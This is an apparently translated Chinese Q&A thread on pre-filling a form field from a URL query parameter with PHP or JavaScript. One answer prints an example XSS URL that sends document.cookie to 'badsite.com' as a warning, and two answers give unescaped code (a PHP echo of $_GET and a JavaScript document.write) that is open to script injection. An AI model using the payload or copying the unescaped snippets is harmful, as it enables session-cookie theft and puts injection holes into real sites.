我想从网址预填充包含变量的表单。我该怎么做?
例如:
http://somewhere.com?name=john
然后表单中的名称字段将预填充“John”,如果URL中没有名称,则该字段将为空并准备填写。
提前致谢..
答案 0 :(得分:3)
好吧,使用php,比如
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
我不确定如何使用javascript解析get变量..
另外,请记住添加htmlspecialchars以阻止csrf攻击。
如果有人像:http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
那样运行
可能结果很糟糕(只是一个例子,不确定它是否有效)。
答案 1 :(得分:1)
PHP方式:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
对于javascript,您应该首先找到一种检索GET变量的方法。看看这个:How to get "GET" request parameters in JavaScript?
在您提供答案中建议的功能后,您可以执行以下操作:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
答案 2 :(得分:1)
您使用PHP $_GET['name']
值作为表单元素的值。如果没有设置值,则该值将显示为空白,这就是您想要的值。
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
答案 3 :(得分:0)
服务器端是最好的方式(PHP或您编码的任何语言。)它可以缓解客户端性能问题,并且总体上更可靠。
如果你需要使用JavaScript,你可以在这个jQuery插件的帮助下这样做(或者查看源代码,了解它从当前window.location获取GET参数的内容/方式。)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
然后使用$('input').val()
函数设置值。